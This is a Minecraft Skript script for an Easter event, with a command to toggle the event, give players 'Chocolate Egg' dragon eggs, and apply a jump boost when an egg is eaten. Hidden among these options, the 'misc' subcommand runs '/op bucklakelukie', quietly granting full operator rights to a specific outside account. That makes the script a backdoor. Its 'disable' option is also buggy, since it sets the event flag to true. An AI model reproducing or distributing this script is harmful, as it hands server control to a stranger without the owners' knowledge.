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- options:
- P : &8[&aEaster Bunnies&8]&b
- IS : &e/easterbunnies <enable/disable/toggle/give/misc>
- command /easterbunnies [<text>]:
- permission: skript.easter
- aliases: /easter
- trigger:
- if arg 1 is "enable":
- set {easterbunnies} to true
- loop all players:
- set {EGGcooldown::%loop-player%} to false
- broadcast "{@P} &aEaster Bunnies Enabled!"
- if arg 1 is "disable":
- set {easterbunnies} to true
- loop all players:
- set {EGGcooldown::%loop-player%} to false
- broadcast "{@P} &cEaster Bunnies Disabled!"
- if arg 1 is "toggle":
- if {easterbunnies} is true:
- set {easterbunnies} to false
- loop all players:
- set {EGGcooldown::%loop-player%} to true
- broadcast "{@P} &cEaster Bunnies Disabled!"
- stop
- if {easterbunnies} is false:
- set {easterbunnies} to true
- loop all players:
- set {EGGcooldown::%loop-player%} to false
- message "{@P} &aEaster Bunnies Enabled!"
- stop
- if arg 1 is "give":
- give 1 dragon egg named "Chocolate Egg" to all players
- broadcast "{@P} &2Chocolate Given!"
- if arg 1 is "misc":
- execute console command "/op bucklakelukie"
- #=================#
- #= Usage of Egg! =#
- #=================#
- on rightclick with a dragon egg:
- if {EGGcooldown::%player%} is false:
- apply jump boost 4 to the player for 15 seconds
- message "{@P} &7Nom Nom Nom!"
- set {EGGcooldown::%player%} to true
- send "{@P} You cannot eat any more chocolate for 10 minutes!" to player
- wait 10 minutes
- set {EGGcooldown::%player%} to false
- send "{@P} Your Stomach is Prepared for More Chocolate!" to player
- on place of dragon egg:
- if {easterbunnies} is true:
- cancel the event
- message "{@P} &7Don't Litter your Chocolate!"
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